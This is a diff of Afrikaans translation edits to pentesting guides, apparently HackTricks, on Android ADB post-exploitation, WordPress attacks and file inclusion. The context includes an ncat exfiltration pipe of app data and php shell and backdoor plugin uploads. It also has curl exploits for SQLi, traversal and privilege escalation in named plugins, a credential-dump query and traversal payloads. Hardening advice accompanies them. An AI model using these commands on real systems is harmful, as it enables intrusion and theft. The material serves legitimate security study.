@ -26,7 +26,7 @@ adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
- As die toestel ADB-outeentifikasie afdwing (ro.adb.secure=1), sal jy vooraf geoutoriseer moet wees (USB RSA auth) of Android 11+ Draadlose foutopsporing paar (wat 'n eenmalige kode vereis wat op die toestel vertoon word).
- As die toestel ADB-outeentifikasie afdwing (ro.adb.secure=1), sal jy vooraf geoutoriseer moet wees (USB RSA auth) of Android 11+ Draadlose foutopsporing paarvorming gebruik (wat 'n eenmalige kode vereis wat op die toestel vertoon word).
- Sommige verskafferbeelde, ingenieurs-/gebruikersdebug-bou, emulators, TV's, STB's en ontwikkelingskits stel adbd bloot sonder outentifikasie of met adbd wat as root loop. In daardie gevalle sal jy tipies direk in 'n shell of root shell beland.
Vir 'n algemene ADB-opdragverwysing, sien:
@ -35,7 +35,7 @@ Vir 'n algemene ADB-opdragverwysing, sien:
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
## Vinnige Post-Exploitasie
## Vinnige Post-Exploitatie
Sodra jy 'n shell het, valideer voorregte en SELinux-konteks:
```bash
@ -58,18 +58,18 @@ cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Nuttige stelseldokumente (root benodig):
- Nuttige stelseldatastukke (root benodig):
- /data/system/users/0/accounts.db en verwante AccountManager data
- /data/misc/wifi/ (netwerk konfigurasies/sleutels op ouer weergawes)
- App-spesifieke SQLite DB's en shared_prefs onder /data/data/<pkg>
Jy kan dit gebruik om sensitiewe inligting te verkry (bv. app geheime). Vir notas oor Chrome data oorwegings, sien die probleem waarna verwys word [hier](https://github.com/carlospolop/hacktricks/issues/274).
Jy kan dit gebruik om sensitiewe inligting te verkry (bv. app geheime). Vir notas oor Chrome data oorwegings, sien die kwessie waarna verwys word [hier](https://github.com/carlospolop/hacktricks/issues/274).
### Kode-uitvoering en payload aflewering
- Installeer en outomaties runtime toestemmings toeken:
```bash
adb install -r -g payload.apk # -g gee alle runtime perms soos verklaar in manifest
adb install -r -g payload.apk # -g gee alle runtime perms wat in manifest verklaar is
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Begin aktiwiteite/dienste/uitsendings direk:
@ -100,9 +100,9 @@ ncat -lvp 9000 > dump.tar
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Draadlose Foutopsporing (Android 11+)
## Draadlose Debugging (Android 11+)
Moderne Android implementeer TLS-beskermde draadlose foutopsporing met toestel-kant paar en mDNS ontdekking:
Moderne Android implementeer TLS-beskermde draadlose debugging met toestel-kant paar en mDNS ontdekking:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
@ -114,16 +114,16 @@ Notas
- Poorte is dinamies; moenie aanvaar 5555 nie. mDNS-diensname lyk soos:
- _adb-tls-pairing._tcp (pareer)
- _adb-tls-connect._tcp (gepareerde verbinding)
- _adb._tcp (erf/plat)
- _adb._tcp (oudmodies/plat)
- As mDNS gefiltreer is, kan klassieke USB-geassisteerde aktivering steeds op sommige weergawes werk: `adb tcpip 5555` dan `adb connect <ip>:5555` (tot herlaai).
Aanvallende implikasies: as jy met die toestel se UI kan interaksie hê (bv. fisiese toegang of mobiele MDM-misconfigurasie) om Draadlose foutopsporing in te skakel en die pareerkode te sien, kan jy 'n langtermyn-gepareerde ADB-kanaal sonder 'n kabel tot stand bring. Sommige OEM's stel ADB oor TCP in engineering/dev beelde beskikbaar sonder pareer—kontroleer altyd.
Aanvallende implikasies: as jy met die toestel se UI kan interaksie hê (bv. fisiese toegang of mobiele MDM-misconfigurasie) om Draadlose foutopsporing te aktiveer en die pareerkode te sien, kan jy 'n langleefbare geparkeerde ADB-kanaal sonder 'n kabel tot stand bring. Sommige OEM's stel ADB oor TCP in ingenieurs-/ontwikkelingsbeelde beskikbaar sonder pareer—kontroleer altyd.
## Versterking / Opsporing
Verdedigers moet aanvaar dat enige bereikbare adbd (TCP) 'n kritieke risiko is.
- Deaktiveer ADB en Draadlose foutopsporing wanneer dit nie nodig is nie. Herroep USB-foutopsporing-oute op Ontwikkelaar opsies.
- Deaktiveer ADB en Draadlose foutopsporing wanneer dit nie nodig is nie. Herroep USB-foutopsporing-oute in Ontwikkelaar opsies.
- Verseker dat netwerkbeleid inkomende TCP/5555 en mDNS-gebaseerde ADB-ontdekking op onbetroubare segmente blokkeer.
- Op toestelle onder jou beheer:
```bash

66
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -5,7 +5,7 @@
## Basiese Inligting
- **Gelaaide** lêers gaan na: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur **tema twentytwelve** te gebruik, kan jy die **404.php** lêer in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) **toegang**.
- **Temalêers kan gevind word in /wp-content/themes/,** so as jy 'n paar php van die tema verander om RCE te kry, sal jy waarskynlik daardie pad gebruik. Byvoorbeeld: Deur **tema twentytwelve** te gebruik, kan jy **toegang** verkry tot die **404.php** lêer in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Nog 'n nuttige url kan wees:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
@ -26,11 +26,11 @@
- Die `wp-content` gids is die hoofgids waar plugins en temas gestoor word.
- `wp-content/uploads/` Is die gids waar enige lêers wat na die platform gelaai word, gestoor word.
- `wp-includes/` Dit is die gids waar kernlêers gestoor word, soos sertifikate, lettertipes, JavaScript-lêers, en widgets.
- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al die openbare plasings en publiek navraagbare plasingstipes en taksonomieë.
- `wp-sitemap.xml` In WordPress weergawes 5.5 en groter, genereer WordPress 'n sitemap XML-lêer met al die openbare plasings en publiek navraagbare plasings tipes en taksonomieë.
**Post eksploitatie**
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasenaam, databasisgasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabelvoorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
- Die `wp-config.php` lêer bevat inligting wat deur WordPress benodig word om met die databasis te verbind, soos die databasisnaam, databasis gasheer, gebruikersnaam en wagwoord, autentikasiesleutels en sout, en die databasis tabel voorvoegsel. Hierdie konfigurasielêer kan ook gebruik word om DEBUG-modus te aktiveer, wat nuttig kan wees in probleemoplossing.
### Gebruikers Toestemmings
@ -38,7 +38,7 @@
- **Redakteur**: Publiseer en bestuur sy en ander plasings
- **Skrywer**: Publiseer en bestuur sy eie plasings
- **Bydraer**: Skryf en bestuur sy plasings maar kan dit nie publiseer nie
- **Tekenaar**: Blaai plasings en wysig hul profiel
- **Tekenaar**: Blaai deur plasings en wysig hul profiel
## **Passiewe Enumerasie**
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
### Trek weergawes in die algemeen uit
### Trek weergawes in die algemeen
```bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
@ -81,7 +81,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
### Plugins en Temas
Jy sal waarskynlik nie in staat wees om al die moontlike Plugins en Temas te vind nie. Om al hulle te ontdek, sal jy **aktief 'n lys van Plugins en Temas moet Brute Force** (hopelik is daar outomatiese gereedskap wat hierdie lyste bevat).
Jy sal waarskynlik nie in staat wees om al die moontlike Plugins en Temas te vind nie. Om al hulle te ontdek, sal jy **aktief 'n lys van Plugins en Temas Brute Force** (hopelik vir ons is daar outomatiese gereedskap wat hierdie lyste bevat) moet gebruik.
### Gebruikers
@ -174,7 +174,7 @@ Daar is ook 'n **sneller manier** om akrediteer te brute-force met **`system.mul
**Om 2FA te omseil**
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. So, as jy geldige akrediteer het maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om met daardie akrediteer in te log en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
Hierdie metode is bedoel vir programme en nie vir mense nie, en is oud, daarom ondersteun dit nie 2FA nie. As jy geldige akrediteer het, maar die hoofingang is beskerm deur 2FA, **kan jy dalk xmlrpc.php misbruik om met daardie akrediteer in te log en 2FA te omseil**. Let daarop dat jy nie al die aksies wat jy deur die konsole kan uitvoer, kan doen nie, maar jy mag steeds in staat wees om RCE te verkry soos Ippsec dit verduidelik in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
**DDoS of poort skandering**
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## Kry toegang deur 'n bit te oorskryf
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOT (`!`) operasie te NOP.
Meer as 'n werklike aanval is dit 'n nuuskierigheid. IN die CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) kon jy 1 bit van enige wordpress-lêer omflip. So kon jy die posisie `5389` van die lêer `/var/www/html/wp-includes/user.php` omflip om die NOP die NOT (`!`) operasie.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -254,7 +254,7 @@ Verander die inhoud na 'n php shell:
![](<../../images/image (384).png>)
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang verkry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
Soek op die internet hoe jy toegang kan kry tot daardie opgedateerde bladsy. In hierdie geval moet jy hier toegang kry: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -268,7 +268,7 @@ to get a session.
### PHP plugin
Dit mag moontlik wees om .php lêers as 'n plugin op te laai.\
Dit mag moontlik wees om .php-lêers as 'n plugin op te laai.\
Skep jou php backdoor met byvoorbeeld:
![](<../../images/image (183).png>)
@ -297,7 +297,7 @@ Toegang daartoe en jy sal die URL sien om die reverse shell uit te voer:
Hierdie metode behels die installasie van 'n kwaadwillige plugin wat bekend is om kwesbaar te wees en wat benut kan word om 'n web shell te verkry. Hierdie proses word deur die WordPress-dashboard uitgevoer soos volg:
1. **Plugin Verkryging**: Die plugin word verkry van 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Verkryging**: Die plugin word verkry vanaf 'n bron soos Exploit DB soos [**hier**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installasie**:
- Navigeer na die WordPress-dashboard, gaan dan na `Dashboard > Plugins > Upload Plugin`.
- Laai die zip-lêer van die afgelaaide plugin op.
@ -313,8 +313,8 @@ Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboar
## From XSS to RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n skrip wat ontwerp is om 'n **Cross-Site Scripting (XSS)** kwesbaarheid na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir WordPress weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:**
- _**Privilegie Eskalasie:**_ Skep 'n gebruiker in WordPress.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is 'n skrip wat ontwerp is om 'n **Cross-Site Scripting (XSS)** kwesbaarheid na **Remote Code Execution (RCE)** of ander kritieke kwesbaarhede in WordPress te eskaleer. Vir meer inligting, kyk [**hierdie pos**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Dit bied **ondersteuning vir Wordpress Weergawes 6.X.X, 5.X.X en 4.X.X. en laat toe om:**
- _**Privilege Escalation:**_ Skep 'n gebruiker in WordPress.
- _**(RCE) Aangepaste Plugin (backdoor) Oplaai:**_ Laai jou aangepaste plugin (backdoor) na WordPress op.
- _**(RCE) Ingeboude Plugin Wysig:**_ Wysig 'n Ingeboude Plugins in WordPress.
- _**(RCE) Ingeboude Tema Wysig:**_ Wysig 'n Ingeboude Themes in WordPress.
@ -322,7 +322,7 @@ Die inhoud sluit visuele hulpmiddels in wat die stappe in die WordPress-dashboar
## Post Exploitation
Trek gebruikersname en wagwoorde uit:
Extract usernames and passwords:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
@ -338,7 +338,7 @@ Om te weet hoe 'n Wordpress-plugin funksionaliteit kan blootstel, is sleutel om
- **`wp_ajax`**
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit soortgelyk aan 'n frekwensie dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol).
Een van die maniere waarop 'n plugin funksies aan gebruikers kan blootstel, is via AJAX-handlers. Hierdie kan logika, magtiging of outentikasie-foute bevat. Boonop is dit soortgelyk aan die frekwensie dat hierdie funksies beide die outentikasie en magtiging op die bestaan van 'n wordpress nonce gaan baseer wat **enige gebruiker wat in die Wordpress-instantie geoutentiseer is, mag hê** (ongeag sy rol).
Dit is die funksies wat gebruik kan word om 'n funksie in 'n plugin bloot te stel:
```php
@ -348,11 +348,11 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**Die gebruik van `nopriv` maak die eindpunt toeganklik vir enige gebruikers (selfs nie-geverifieerde nie).**
> [!CAUTION]
> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, dan kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae bevoorregte gebruikers mag toegang hê tot hoë bevoorregte aksies.
> Boonop, as die funksie net die magtiging van die gebruiker met die funksie `wp_verify_nonce` nagaan, kyk hierdie funksie net of die gebruiker ingelog is, dit kyk gewoonlik nie na die rol van die gebruiker nie. So lae bevoorregte gebruikers mag toegang hê tot hoë bevoorregte aksies.
- **REST API**
Dit is ook moontlik om funksies van wordpress bloot te stel deur 'n rest AP te registreer met die `register_rest_route` funksie:
Dit is ook moontlik om funksies van WordPress bloot te stel deur 'n REST AP te registreer met die `register_rest_route` funksie:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -368,17 +368,17 @@ Die `permission_callback` is 'n terugroep funksie wat nagaan of 'n gegewe gebrui
- **Direkte toegang tot die php-lêer**
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, sal dit deur enige gebruiker uitgebuit kan word.
Natuurlik gebruik Wordpress PHP en lêers binne plugins is direk vanaf die web toeganklik. So, in die geval dat 'n plugin enige kwesbare funksionaliteit blootstel wat geaktiveer word deur net die lêer te benader, gaan dit deur enige gebruiker uitgebuit kan word.
### Ongeauthentiseerde Willekeurige Lêer Verwydering via wp_ajax_nopriv (Litho Tema <= 3.0)
WordPress temas en plugins stel dikwels AJAX-handelaars bloot deur die `wp_ajax_` en `wp_ajax_nopriv_` haakies. Wanneer die **_nopriv_** variasie gebruik word **word die terugroep bereikbaar deur ongeauthentiseerde besoekers**, so enige sensitiewe aksie moet addisioneel implementeer:
WordPress temas en plugins stel dikwels AJAX-handlers bloot deur die `wp_ajax_` en `wp_ajax_nopriv_` haak. Wanneer die **_nopriv_** variasie gebruik word **word die terugroep bereikbaar deur ongeauthentiseerde besoekers**, so enige sensitiewe aksie moet addisioneel implementeer:
1. 'n **kapasiteitskontrole** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
1. 'n **vermoënskontrole** (bv. `current_user_can()` of ten minste `is_user_logged_in()`), en
2. 'n **CSRF nonce** gevalideer met `check_ajax_referer()` / `wp_verify_nonce()`, en
3. **Streng invoer sanitisering / validasie**.
Die Litho multipurpose tema (< 3.1) het daardie 3 kontroles in die *Verwyder Font Familie* kenmerk vergeet en het uiteindelik die volgende kode (vereenvoudig) gestuur:
Die Litho multipurpose tema (< 3.1) het daardie 3 kontroles in die *Verwyder Font Familie* kenmerk vergeet en het uiteindelik die volgende kode gestuur (vereenvoudig):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -399,7 +399,7 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove
```
Probleme wat deur hierdie snit ingebring word:
* **Nie-geverifieerde toegang** – die `wp_ajax_nopriv_` haak is geregistreer.
* **Ongeauthentiseerde toegang** – die `wp_ajax_nopriv_` haak is geregistreer.
* **Geen nonce / vermoë kontrole nie** – enige besoeker kan die eindpunt bereik.
* **Geen pad sanitisering nie** – die gebruiker-beheerde `fontfamily` string word aan 'n lêerstelsel pad gekonkateneer sonder filtrering, wat klassieke `../../` traversie toelaat.
@ -417,7 +417,7 @@ Ander impakvolle teikens sluit plugin/tema `.php` lêers in (om sekuriteitsplugi
#### Ontdekkingskontrolelys
* Enige `add_action( 'wp_ajax_nopriv_...')` terugroep wat lêersisteem helpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
* Enige `add_action( 'wp_ajax_nopriv_...')` terugroep wat lêerstelselshelpers aanroep (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ens.).
* Samevoeging van ongesaniteerde gebruikersinvoer in paaie (soek na `$_POST`, `$_GET`, `$_REQUEST`).
* Afwesigheid van `check_ajax_referer()` en `current_user_can()`/`is_user_logged_in()`.
@ -450,7 +450,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
Baie plugins implementeer 'n "sien as rol" of tydelike rol-wissel funksie deur die oorspronklike rol(le) in gebruikersmeta te stoor sodat dit later herstel kan word. As die herstelpad slegs op versoekparameters staatmaak (bv., `$_REQUEST['reset-for']`) en 'n plugin-onderhoubare lys sonder om vermoëns en 'n geldige nonce te kontroleer, word dit 'n vertikale bevoegdheidstoename.
'n Werklike voorbeeld is gevind in die Admin en Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset tak het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()` kontrole of 'n nonce verifikasie uitgevoer voordat dit huidige rolle verwyder en die gestoor rolle van gebruikersmeta `_asenha_view_admin_as_original_roles` weer bygevoeg het nie:
'n Werklike voorbeeld is gevind in die Admin en Site Enhancements (ASE) plugin (≤ 7.6.2.1). Die reset tak het rolle herstel gebaseer op `reset-for=<username>` as die gebruikersnaam in 'n interne array `$options['viewing_admin_as_role_are']` verskyn het, maar het nie 'n `current_user_can()` kontrole of 'n nonce verifikasie uitgevoer voordat dit huidige rolle verwyder en die gestoor rolle uit gebruikersmeta `_asenha_view_admin_as_original_roles` weer bygevoeg het nie:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -485,21 +485,21 @@ Eksploitatie (voorbeeld)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Op kwesbare weergawes verwyder dit huidige rolle en voeg die gestoor oorspronklike rolle (bv. `administrator`) weer by, wat effektief privaathede verhoog.
Op kwesbare weergawes verwyder dit huidige rolle en voeg die gestoor oorspronklike rolle weer by (bv. `administrator`), wat effektief privaathede verhoog.
Detectie kontrolelys
- Soek na rol-wissel funksies wat “oorspronklike rolle” in gebruikersmeta behou (bv. `_asenha_view_admin_as_original_roles`).
- Identifiseer reset/herstel paaie wat:
- Gebruikersname lees vanaf `$_REQUEST` / `$_GET` / `$_POST`.
- Gebruikersname lees van `$_REQUEST` / `$_GET` / `$_POST`.
- Rolle wysig via `add_role()` / `remove_role()` sonder `current_user_can()` en `wp_verify_nonce()` / `check_admin_referer()`.
- Magtig op grond van 'n plugin opsie array (bv. `viewing_admin_as_role_are`) in plaas van die akteur se vermoëns.
Versterking
- Handhaaf vermoënskontroles op elke staat-veranderende tak (bv. `current_user_can('manage_options')` of strenger).
- Vereis nonces vir alle rol/toestemming mutasies en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
- Vertrou nooit op versoek-gelewerde gebruikersname nie; los die teiken gebruiker op die bediener-kant op grond van die geverifieerde akteur en eksplisiete beleid.
- Vereis nonces vir alle rol/permit mutasies en verifieer hulle: `check_admin_referer()` / `wp_verify_nonce()`.
- Vertrou nooit op versoek-gelewer gebruikersname nie; los die teiken gebruiker op die bediener-kant op grond van die geverifieerde akteur en eksplisiete beleid.
- Ongeldig “oorspronklike rolle” toestand op profiel/rol opdaterings om verouderde hoë-privaatheid herstel te vermy:
```php
add_action( 'profile_update', function( $user_id ) {
@ -534,7 +534,7 @@ Ook, **installeer slegs betroubare WordPress-inproppe en temas**.
- Gebruik **sterk wagwoorde** en **2FA**
- Periodiek **hersien** gebruikers **toestemmings**
- **Beperk aanmeldpogings** om Brute Force-aanvalle te voorkom
- Hernoem **`wp-admin.php`** lêer en laat slegs interne toegang toe of vanaf sekere IP-adresse.
- Hernoem **`wp-admin.php`** lêer en laat slegs interne toegang of toegang vanaf sekere IP-adresse toe.
### Ongeoutentiseerde SQL-inspuiting via onvoldoende validasie (WP Job Portal <= 2.3.2)
@ -551,8 +551,8 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
Issues introduced by this snippet:
1. **Ongefilterde gebruikersinvoer** – `parentid` kom regstreeks van die HTTP-versoek.
2. **String-konkatenasie binne die WHERE-klausule** – geen `is_numeric()` / `esc_sql()` / voorbereide verklaring.
3. **Ongeoutentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan verkry vanaf 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
2. **String-konkatenasie binne die WHERE-klousule** – geen `is_numeric()` / `esc_sql()` / voorbereide verklaring.
3. **Ongeauthentiseerde bereikbaarheid** – alhoewel die aksie uitgevoer word deur `admin-post.php`, is die enigste kontrole in plek 'n **CSRF nonce** (`wp_verify_nonce()`), wat enige besoeker kan verkry van 'n openbare bladsy wat die shortcode `[wpjobportal_my_resumes]` insluit.
#### Exploitatie
@ -571,7 +571,7 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
Die antwoord openbaar die resultaat van die ingespotte navraag of verander die databasis, wat SQLi bewys.
### Ongeoutentiseerde Arbitrêre Lêer Aflaai / Pad Traversal (WP Job Portal <= 2.3.2)
### Ongeauthentiseerde Arbitrêre Lêer Aflaai / Pad Traversal (WP Job Portal <= 2.3.2)
Nog 'n taak, **downloadcustomfile**, het besoekers toegelaat om **enige lêer op skyf** af te laai via pad traversal. Die kwesbare sink is geleë in `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
@ -579,7 +579,7 @@ $file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` is aanvaller-beheerde en gekonkatenereer **sonder sanitasie**. Weer eens, die enigste hek is 'n **CSRF nonce** wat van die CV-bladsy afgehaal kan word.
`$file_name` is aanvaller-beheerde en gekonkatenere **sonder sanitasie**. Weer eens, die enigste hek is 'n **CSRF nonce** wat van die CV-bladsy af verkry kan word.
#### Exploitatie
```bash

96
src/pentesting-web/file-inclusion/README.md
View File

@ -1,4 +1,4 @@
# Bestandsinsluiting/Pad Traversal
# Bestandsinsluiting/Pad traversie
{{#include ../../banners/hacktricks-training.md}}
@ -25,7 +25,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Probeer ook om `/` te verander na `\`\
Probeer ook om `/` te vervang met `\`\
Probeer ook om `../../../../../` by te voeg.
'n Lys wat verskeie tegnieke gebruik om die lêer /etc/password te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) gevind word.
@ -38,7 +38,7 @@ Samesmelting van verskillende woordlyste:
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Probeer ook om `/` te verander na `\`\
Probeer ook om `/` te vervang met `\`\
Probeer ook om `C:/` te verwyder en `../../../../../` by te voeg.
'n Lys wat verskeie tegnieke gebruik om die lêer /boot.ini te vind (om te kyk of die kwesbaarheid bestaan) kan [hier](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) gevind word.
@ -61,13 +61,13 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Om die byvoeging van meer karakters aan die einde van die verskafde string te omseil (omseiling van: $\_GET\['param']."php")
Om die byvoeging van meer karakters aan die einde van die gegewe string te omseil (omseiling van: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
Dit is **opgelos sedert PHP 5.4**
### **Kodering**
### **Koderings**
Jy kan nie-standaard kodering soos dubbele URL-kodering (en ander) gebruik:
```
@ -82,38 +82,38 @@ Miskien kyk die agterkant na die gids pad:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Verkenning van Lêerstelsels op 'n Bediener
### Verkenning van Lêerstelsels op 'n Bediening
Die lêerstelsel van 'n bediener kan rekursief verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory-diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
Die lêerstelsel van 'n bediener kan herhalend verken word om directories te identifiseer, nie net lêers nie, deur sekere tegnieke toe te pas. Hierdie proses behels die bepaling van die directory diepte en die ondersoek na die bestaan van spesifieke vouers. Hieronder is 'n gedetailleerde metode om dit te bereik:
1. **Bepaal Directory Diepte:** Bepaal die diepte van jou huidige directory deur suksesvol die `/etc/passwd` lêer op te haal (van toepassing as die bediener op Linux gebaseer is). 'n Voorbeeld-URL kan as volg gestruktureer wees, wat 'n diepte van drie aandui:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedelike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
2. **Dienste vir Gidsen:** Voeg die naam van die vermoedlike gids (bv. `private`) by die URL, en navigeer dan terug na `/etc/passwd`. Die ekstra gidsvlak vereis dat die diepte met een verhoog word:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Interpret die Uitslae:** Die bediener se antwoord dui aan of die gids bestaan:
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde ligging nie.
3. **Interpret die Resultate:** Die bediener se antwoord dui aan of die gids bestaan:
- **Fout / Geen Uitset:** Die gids `private` bestaan waarskynlik nie op die gespesifiseerde plek nie.
- **Inhoud van `/etc/passwd`:** Die teenwoordigheid van die `private` gids word bevestig.
4. **Herhalende Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
4. **Recursiewe Verkenning:** Ontdekte gidse kan verder ondersoek word vir subgidse of lêers met dieselfde tegniek of tradisionele Local File Inclusion (LFI) metodes.
Vir die verkenning van gidse op verskillende plekke in die lêerstelsel, pas die payload dienooreenkomstig aan. Byvoorbeeld, om te kyk of `/var/www/` 'n `private` gids bevat (aannemende dat die huidige gids op 'n diepte van 3 is), gebruik:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Pad Truncasie Tegniek**
### **Pad Afkorting Tegniek**
